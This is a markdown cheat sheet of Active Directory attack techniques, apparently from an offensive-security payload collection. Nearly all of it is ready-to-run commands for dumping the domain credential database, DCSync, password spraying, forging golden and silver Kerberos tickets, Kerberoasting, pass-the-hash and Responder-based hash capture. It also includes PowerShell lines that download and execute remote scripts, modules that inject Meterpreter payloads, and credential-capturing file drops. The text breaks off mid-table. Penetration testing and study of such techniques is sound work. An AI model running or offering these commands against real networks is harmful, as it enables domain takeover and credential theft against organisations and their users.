# Active Directory Attacks ## Summary - [Active Directory Attacks](#active-directory-attacks) - [Summary](#summary) - [Tools](#tools) - [Most common paths to AD compromise](#most-common-paths-to-ad-compromise) - [MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)](#ms14-068-microsoft-kerberos-checksum-validation-vulnerability) - [Open Shares](#open-shares) - [SCF and URL file attack against writeable share](#scf-and-url-file-attack-against-writeable-share) - [GPO - Pivoting with Local Admin & Passwords in SYSVOL](#gpo---pivoting-with-local-admin--passwords-in-sysvol) - [Dumping AD Domain Credentials (%SystemRoot%\NTDS\Ntds.dit)](#dumping-ad-domain-credentials-systemrootntdsntdsdit) - [Using ndtsutil](#using-ndtsutil) - [Using Vshadow](#using-vshadow) - [Using vssadmin](#using-vssadmin) - [Using DiskShadow (a Windows signed binary)](#using-diskshadow-a-windows-signed-binary) - [Using esentutl.exe](#using-esentutlexe) - [Extract hashes from ntds.dit](#extract-hashes-from-ntdsdit) - [Alternatives - modules](#alternatives---modules) - [Using Mimikatz DCSync](#using-mimikatz-dcsync) - [Using Mimikatz sekurlsa](#using-mimikatz-sekurlsa) - [Password spraying](#password-spraying) - [Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing.](#using-kerbrute-a-tool-to-perform-kerberos-pre-auth-bruteforcing) - [Using `crackmapexec` and `mp64` to generate passwords and spray them against SMB services on the network.](#using-crackmapexec-and-mp64-to-generate-passwords-and-spray-them-against-smb-services-on-the-network) - [Using RDPassSpray to target RDP services.](#using-rdpassspray-to-target-rdp-services) - [Using [hydra]() and [ncrack]() to target RDP services.](#using-hydra-and-ncrack-to-target-rdp-services) - [Password in AD User comment](#password-in-ad-user-comment) - [Pass-the-Ticket Golden Tickets](#pass-the-ticket-golden-tickets) - [Using Mimikatz](#using-mimikatz) - [Using Meterpreter](#using-meterpreter) - [Using a ticket on Linux](#using-a-ticket-on-linux) - [Pass-the-Ticket Silver Tickets](#pass-the-ticket-silver-tickets) - [Kerberoasting](#kerberoasting) - [KRB_AS_REP Roasting](#krbasrep-roasting) - [Pass-the-Hash](#pass-the-hash) - [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key) - [Using impacket](#using-impacket) - [Using Rubeus](#using-rubeus) - [Capturing and cracking NTLMv2 hashes](#capturing-and-cracking-ntlmv2-hashes) - [NTLMv2 hashes relaying](#ntlmv2-hashes-relaying) - [MS08-068 NTLM reflection](#ms08-068-ntlm-reflection) - [SMB Signing Disabled and IPv4](#smb-signing-disabled-and-ipv4) - [SMB Signing Disabled and IPv6](#smb-signing-disabled-and-ipv6) - [Drop the MIC](#drop-the-mic) - [Ghost Potato - CVE-2019-1384](#ghost-potato---cve-2019-1384) - [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage) - [Trust relationship between domains](#trust-relationship-between-domains) - [Child Domain to Forest Compromise - SID Hijacking](#child-domain-to-forest-compromise---sid-hijacking) - [Unconstrained delegation](#unconstrained-delegation) - [Find delegation](#find-delegation) - [Monitor with Rubeus](#monitor-with-rubeus) - [Force a connect back from the DC](#force-a-connect-back-from-the-dc) - [Load the ticket](#load-the-ticket) - [Mitigation](#mitigation) - [Resource-Based Constrained Delegation](#resource-based-constrained-delegation) - [Relay delegation with mitm6](#relay-delegation-with-mitm6) - [PrivExchange attack](#privexchange-attack) - [PXE Boot image attack](#pxe-boot-image-attack) - [Impersonating Office 365 Users on Azure AD Connect](#impersonating-office-365-users-on-azure-ad-connect) - [Linux Active Directory](#linux-active-directory) - [CCACHE ticket reuse from /tmp](#ccache-ticket-reuse-from-tmp) - [CCACHE ticket reuse from keyring](#ccache-ticket-reuse-from-keyring) - [CCACHE ticket reuse from keytab](#ccache-ticket-reuse-from-keytab) - [Extract accounts from /etc/krb5.keytab](#extract-accounts-from-etckrb5keytab) - [References](#references) ## Tools * [Impacket](https://github.com/CoreSecurity/impacket) or the [Windows version](https://github.com/maaaaz/impacket-examples-windows) * [Responder](https://github.com/SpiderLabs/Responder) * [Mimikatz](https://github.com/gentilkiwi/mimikatz) * [Ranger](https://github.com/funkandwagnalls/ranger) * [BloodHound](https://github.com/BloodHoundAD/BloodHound) ```powershell apt install bloodhound #kali neo4j console Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j ./bloodhound SharpHound.exe (from resources/Ingestor) SharpHound.exe -c all -d active.htb --domaincontroller 10.10.10.100 or Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public or bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all ``` * [AdExplorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) * [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) ```bash apt-get install -y libssl-dev libffi-dev python-dev build-essential git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec crackmapexec smb -L crackmapexec smb -M name_module -o VAR=DATA crackmapexec 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --local-auth crackmapexec 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --shares crackmapexec 192.168.1.100 -u Administrator -H ':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher crackmapexec 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable crackmapexec 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443 crackmapexec 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload" crackmapexec 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami' crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mimikatz crackmapexec mimikatz --server http --server-port 80 ``` * [Mitm6](https://github.com/fox-it/mitm6.git) ```bash git clone https://github.com/fox-it/mitm6.git && cd mitm6 pip install . mitm6 -d lab.local ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i # -wh: Server hosting WPAD file (Attacker’s IP) # -t: Target (You cannot relay credentials to the same device that you’re spoofing) # -i: open an interactive shell ``` * [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon) ```powershell powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.11.0.47/PowerUp.ps1'); Invoke-AllChecks" powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1');" ``` * [Active Directory Assessment and Privilege Escalation Script](https://github.com/hausec/ADAPE-Script) ```powershell powershell.exe -ExecutionPolicy Bypass ./ADAPE.ps1 ``` * [Ping Castle](https://github.com/vletoux/pingcastle) ```powershell pingcastle.exe --healthcheck --server --user --password --advanced-live --nullsession pingcastle.exe --healthcheck --server domain.local pingcastle.exe --graph --server domain.local pingcastle.exe --scanner scanner_name --server domain.local available scanners are:aclcheck,antivirus,corruptADDatabase,foreignusers,laps_bitlocker,localadmin,ullsession,nullsession-trust,share,smb,spooler,startup ``` * [Kerbrute](https://github.com/ropnop/kerbrute) ```powershell ./kerbrute passwordspray -d ``` * [Rubeus](https://github.com/GhostPack/Rubeus) ```powershell Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid] Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID] Rubeus.exe klist [/luid:LOGINID] Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] ``` * [AutomatedLab](https://github.com/AutomatedLab/AutomatedLab) ```powershell New-LabDefinition -Name GettingStarted -DefaultVirtualizationEngine HyperV Add-LabMachineDefinition -Name FirstServer -OperatingSystem 'Windows Server 2016 SERVERSTANDARD' Install-Lab Show-LabDeploymentSummary ``` ## Most common paths to AD compromise ### MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability) This exploit require to know the user SID, you can use `rpcclient` to remotely get it or `wmi` if you have an access on the machine. ```powershell # remote rpcclient $> lookupnames john.smith john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1) # loc wmic useraccount get name,sid Administrator S-1-5-21-3415849876-833628785-5197346142-500 Guest S-1-5-21-3415849876-833628785-5197346142-501 Administrator S-1-5-21-297520375-2634728305-5197346142-500 Guest S-1-5-21-297520375-2634728305-5197346142-501 krbtgt S-1-5-21-297520375-2634728305-5197346142-502 lambda S-1-5-21-297520375-2634728305-5197346142-1110 # powerview Convert-NameToSid high-sec-corp.localkrbtgt S-1-5-21-2941561648-383941485-1389968811-502 ``` ```bash Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068 ``` Generate a ticket with `metasploit` or `pykek` ```powershell Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum Name Current Setting Required Description ---- --------------- -------- ----------- DOMAIN LABDOMAIN.LOCAL yes The Domain (upper case) Ex: DEMO.LOCAL PASSWORD P@ssw0rd yes The Domain User password RHOSTS 10.10.10.10 yes The target address range or CIDR identifier RPORT 88 yes The target port Timeout 10 yes The TCP timeout to establish connection and read data USER lambda yes The Domain User USER_SID S-1-5-21-297520375-2634728305-5197346142-1106 yes The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000 ``` ```powershell # https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek git clone https://github.com/SecWiki/windows-kernel-exploits python ./ms14-068.py -u @ -s -d -p python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d 192.168.115.10 ``` Then use `mimikatz` to load the ticket. ```powershell mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache" ``` :warning: If the clock is skewed use `clock-skew.nse` script from `nmap` ```powershell Linux> $ nmap -sV -sC 10.10.10.10 clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s Linux> sudo date -s "14 APR 2015 18:25:16" Windows> net time /domain /set ``` ### Open Shares ```powershell smbmap -H 10.10.10.10 # null session smbmap -H 10.10.10.10 -R # recursive listing smbmap -H 10.10.10.10 -u invaliduser # guest smb session smbmap -H 10.10.10.10 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18 ``` or ```powershell pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/C$ ls # list files cd # move inside a folder get # download files put # replace a file ``` or ```powershell smbclient -I 10.10.10.100 -L ACTIVE -N -U "" Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share Replication Disk SYSVOL Disk Logon server share Users Disk use Sharename # select a Sharename cd Folder # move inside a folder ls # list files ``` Download a folder recursively ```powershell smbclient -U username //10.0.0.1/SYSVOL smbclient //10.0.0.1/Share smb: \> mask "" smb: \> recurse ON smb: \> prompt OFF smb: \> lcd '/path/to/go/' smb: \> mget * ``` Mount a share ```powershell smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw sudo mount -t cifs -o username=,password= ///Users folder ``` ### SCF and URL file attack against writeable share Drop the following `@something.scf` file inside a share and start listening with Responder : `responder -wrf --lm -v -I eth0` ```powershell [Shell] Command=2 IconFile=\\10.10.XX.XX\Share\test.ico [Taskbar] Command=ToggleDesktop ``` This attack also works with `.url` files and `responder -I eth0 -v`. ```powershell [InternetShortcut] URL=whatever WorkingDirectory=whatever IconFile=\\192.168.1.29\%USERNAME%.icon IconIndex=1 ``` ### GPO - Pivoting with Local Admin & Passwords in SYSVOL :triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local Find password in SYSVOL (MS14-025) ```powershell findstr /S /I cpassword \\\sysvol\\policies\*.xml ``` Decrypt a Group Policy Password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280)), using the 32-byte AES key provided by Microsoft in the [MSDN - 2.2.1.1.4 Password Encryption](https://msdn.microsoft.com/en-us/library/cc422924.aspx) ```bash echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000 e.g: echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000 echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000 ``` Metasploit modules to enumerate shares and credentials ```c scanner/smb/smb_enumshares post/windows/gather/enum_shares post/windows/gather/credentials/gpp ``` Crackmapexec modules ```powershell cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_autologin cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_password ``` List all GPO for a domain ```powershell Get-GPO -domaine DOMAIN.COM -all Get-GPOReport -all -reporttype xml --all Powersploit: Get-NetGPO Get-NetGPOGroup ``` ### Dumping AD Domain Credentials (%SystemRoot%\NTDS\Ntds.dit) #### Using ndtsutil ```powershell C:\>ntdsutil ntdsutil: activate instance ntds ntdsutil: ifm ifm: create full c:\pentest ifm: quit ntdsutil: quit ``` or ```powershell ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q ``` #### Using Vshadow ```powershell vssadmin create shadow /for=C : Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit ``` You can also use the Nishang script, available at : [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) ```powershell Import-Module .\Copy-VSS.ps1 Copy-VSS Copy-VSS -DestinationDir C:\ShadowCopy\ ``` #### Using vssadmin ```powershell vssadmin create shadow /for=C: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy ``` #### Using DiskShadow (a Windows signed binary) ```powershell diskshadow.txt contains : set context persistent nowriters add volume c: alias someAlias create expose %someAlias% z: exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit delete shadows volume %someAlias% reset then: NOTE - must be executed from C:\Windows\System32 diskshadow.exe /s c:\diskshadow.txt dir c:\exfil reg.exe save hklm\system c:\exfil\system.bak ``` #### Using esentutl.exe Copy/extract a locked file such as the AD Database ```powershell esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit ``` #### Extract hashes from ntds.dit then you need to use secretsdump to extract the hashes ```java secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL ``` secretsdump also works remotely ```java ./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss ./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1 ``` #### Alternatives - modules Metasploit modules ```c windows/gather/credentials/domain_hashdump ``` PowerSploit module ```powershell Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit ``` CrackMapExec module ```powershell cme smb 10.10.0.202 -u username -p password --ntds vss cme smb 10.10.0.202 -u username -p password --ntds drsuapi #default ``` #### Using Mimikatz DCSync Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data. ```powershell mimikatz# lsadump::dcsync /domain:htb.local /user:krbtgt ``` :warning: Read-Only Domain Controllers are not allowed to pull password data for users by default. #### Using Mimikatz sekurlsa Dumps credential data in an Active Directory domain when run on a Domain Controller. :warning: Requires administrator access with debug or Local SYSTEM rights ```powershell sekurlsa::krbtgt lsadump::lsa /inject /name:krbtgt ``` ### Password spraying Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password. > The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates. #### Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing. > Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771). ```powershell root@kali:~$ ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123 root@kali:~$ python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt ``` #### Using `crackmapexec` and `mp64` to generate passwords and spray them against SMB services on the network. ```powershell crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)` ``` #### Using [RDPassSpray](https://github.com/xFreed0m/RDPassSpray) to target RDP services. ```powershell python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP] ``` #### Using [hydra]() and [ncrack]() to target RDP services. ```powershell hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10 ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10 ``` Most of the time the best passwords to spray are : - Password123 - Welcome1 - $Companyname1 : $Microsoft1 - SeasonYear : Winter2019* ### Password in AD User comment ```powershell enum4linux | grep -i desc There are 3-4 fields that seem to be common in most AD schemas: UserPassword, UnixUserPassword, unicodePwd and msSFU30Password. Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID ``` or dump the Active Directory and `grep` the content. ```powershell ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/ ``` ### Pass-the-Ticket Golden Tickets Forging a TGT require the krbtgt NTLM hash > The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt ntlm hash must be used. #### Using Mimikatz ```powershell # Get info - Mimikatz lsadump::dcsync /user:krbtgt lsadump::lsa /inject /name:krbtgt # Forge a Golden ticket - Mimikatz kerberos::purge kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt kerberos::tgt ``` #### Using Meterpreter ```powershell # Get info - Meterpreter(kiwi) dcsync_ntlm krbtgt dcsync krbtgt # Forge a Golden ticket - Meterpreter load kiwi golden_ticket_create -d -k -s -u -t golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck kerberos_ticket_purge kerberos_ticket_use /root/Downloads/pentestlabuser.tck kerberos_ticket_list ``` #### Using a ticket on Linux ```powershell # Convert the ticket kirbi to ccache with kekeo misc::convert ccache ticket.kirbi # Alternatively you can use ticketer from Impacket ./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519 ./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519 export KRB5CCNAME=/home/user/ticket.ccache cat $KRB5CCNAME # NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100 ``` If you need to swap ticket between Windows and Linux, you need to convert them with `ticket_converter` or `kekeo`. ```powershell root@kali:ticket_converter$ python ticket_converter.py velociraptor.ccache velociraptor.kirbi Converting ccache => kirbi root@kali:ticket_converter$ python ticket_converter.py velociraptor.kirbi velociraptor.ccache Converting kirbi => ccache ``` ### Pass-the-Ticket Silver Tickets Forging a TGS require machine accound password (key) or NTLM hash from the KDC ```powershell # Create a ticket for the service mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE # Examples mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park # Then use the same steps as a Golden ticket mimikatz $ misc::convert ccache ticket.kirbi root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100 ``` ### Kerberoasting > "A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - [MSDN](https://docs.microsoft.com/fr-fr/windows/desktop/AD/service-principal-names) Any valid domain user can request a kerberos ticket (TGS) for any domain service with `GetUserSPNs`. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as. ```powershell $ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies ServicePrincipalName Name MemberOf PasswordLastSet LastLogon -------------------- ------------- -------------------------------------------------------- ------------------- ------------------- active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40 2018-12-03 17:11:11 $krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43c360c29c154b012c$c54c7be163ae6c323ae6b5fc45a1eacee2f4903deec785cd689f4551e023775c7e7772fe85e3fb8374ca95534d72c971ba80e8b6d4ef3c3b8439dc54031540133cbcbd5f7b39d622733d198eec594c0cd181ab4696a6ad12744d1ddd2d3e2c6dd33b4daedbc9cae75e8ff2652c80421b0fa3a61ddf2cabeea462c44e0f6d9a6436717e0621bb4e0fe8bd3cf36156b4b2f7b81d651f70baf34a0b3071858b5034b895c25a0d3c67044c849d5952c381a0078a86ae562810a93d9c7bcc8311255cc9eda35a9c4d4d43ff1cc29108056285c954f3c633332ff0cb0c9c0f1896c792b247c8d25f5dd71802728fc99bb22709337b5596ab0e2045110b0b005b03351e9f71a65b48e8259f6191ce95d4e5794846c61c3abccf0f5f72a8679fb0dc0777720f5551ad99c9c9ab0955f85ee211d40b01fcaece7868960b2063923aa0f59e17b347f3308087707e95cad54b9df8179728821cf54cb204c5c2e571d9a66c8ec40b090305aa32e90a90d25ea37be6d8f8a83c683a8b69d386f9edb970596bc56fa02971f69c7e073b8de1213d9caa75ab652e5c5b99cadace9dd7d15d1d530309ea39ca1b7c6009ae3342796a6bdea084622ee95cbade437659e37363b848bad2186e3a9f7dec66e1e496db32d55eda8fb926f057996638646dcc662ed226788ddf36304dc70eaca91b26cb7180341f417fad91117ee10212c69423abd42769cbf891b51d736ffe474899eec8df64abef319d3c6dc379f2bfda33de7c3a1a50d6ece564d4559c77f560b7506fa2f1c9af7162f1247ea35706aafffde48b8cc48b1ec8e99d99ac81dc02f55f43f9726d746383cd076e7199070ff8100846ba9dc2235e92d0c7dac1f33da5fe7901e02f0566030d7c7e02535d6a300292a04e6c32d0d74d37679c2617750f5920d9c697a30c883519bc6b5a916eec354459c7f248c783bd79c436a7e8c463a8981a9e000d21c2d00c7e8468cff0ab695cb3aa4f14f149d1fafb4d656bcd1f67b747fc4c2d648466a386774853db8d50c22df57e747085142f98f5f06191c243b9dbf671da64228364f058c7e2e53a80fdde7f6dc2f25459a09fb2583757953247c222d64f49bc12d461d2e5aa572ceba2605d7eafd6031405ee422ac35cbf041b4fd28e58d871406e053d1a806de49056791646c175bf0d2aaa19f844bfc885520e19c391702be6ae61122fceac32b689764334908a4eaf7c69974a9519ebb068a15c087955fb402416bd184fd2 ``` Alternatively with [Rubeus](https://github.com/GhostPack/Rubeus) ```powershell .\rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt ``` Alternatively on macOS machine you can use [bifrost](https://github.com/its-a-feature/bifrost) ```powershell ./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true ``` Then crack the ticket with hashcat or john ```powershell hashcat -m 13100 -a 0 hash.txt crackstation.txt ./john ~/hash.txt --wordlist=rockyou.lst ``` Mitigations: * Have a very long password for your accounts with SPNs * Make sure no users have SPNs ### KRB_AS_REP Roasting If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting Prerequisite: - Accounts have to have **DONT_REQ_PREAUTH** ```powershell C:\>git clone https://github.com/GhostPack/Rubeus#asreproast C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.4 [*] Action: AS-REP roasting [*] Target User : TestOU3user [*] Target Domain : testlab.local [*] SamAccountName : TestOU3user [*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local [*] Using domain controller: testlab.local (192.168.52.100) [*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user' [*] Connecting to 192.168.52.100:88 [*] Sent 169 bytes [*] Received 1437 bytes [+] AS-REQ w/o preauth successful! [*] AS-REP hash: $krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)... C:\Rubeus> john --wordlist=passwords_kerb.txt hashes.asreproast ``` Using `impacket` to get the hash and `hashcat` to crack it. ```powershell # extract hashes root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast # crack AS_REP messages root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt ``` ### Pass-the-Hash The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500. ```powershell use exploit/windows/smb/psexec set RHOST 10.2.0.3 set SMBUser jarrieta set SMBPass nastyCutt3r # NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack. # NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee) set PAYLOAD windows/meterpreter/bind_tcp run shell ``` or with crackmapexec ```powershell cme smb 10.2.0.2 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami" also works with net range : cme smb 10.2.0.2/24 ... ``` or with psexec ```powershell proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d ``` or with the builtin Windows RDP and mimikatz ```powershell sekurlsa::pth /user: /domain: /ntlm: /run:"mstsc.exe /restrictedadmin" ``` ### OverPass-the-Hash (pass the key) Request a TGT with only the NT hash then you can connect to the machine using the TGT. #### Using impacket ```powershell root@kali:impacket-examples$ python ./getTGT.py -hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com root@kali:impacket-examples$ export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache root@kali:impacket-examples$ python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass also with the AES Key if you have it root@kali:impacket-examples$ ./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5 kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM klist ``` #### Using Rubeus ```powershell C:\Users\triceratops>.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt C:\Users\triceratops>.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd ``` ### Capturing and cracking NTLMv2 hashes If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network. ```python python Responder.py -I eth0 ``` Then crack the hash with `hashcat` ```powershell hashcat -m 5600 -a 0 hash.txt crackstation.txt ``` ### NTLMv2 hashes relaying NTLMv1 and NTLMv2 can be relayed to connect to another machine. | Hash | Hashcat | Attack method | |---|---|---| | LM | 